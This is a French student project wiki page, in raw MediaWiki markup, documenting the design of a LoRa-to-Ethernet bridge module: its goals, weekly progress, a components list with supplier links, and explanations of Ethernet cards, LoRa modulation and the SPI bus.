Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
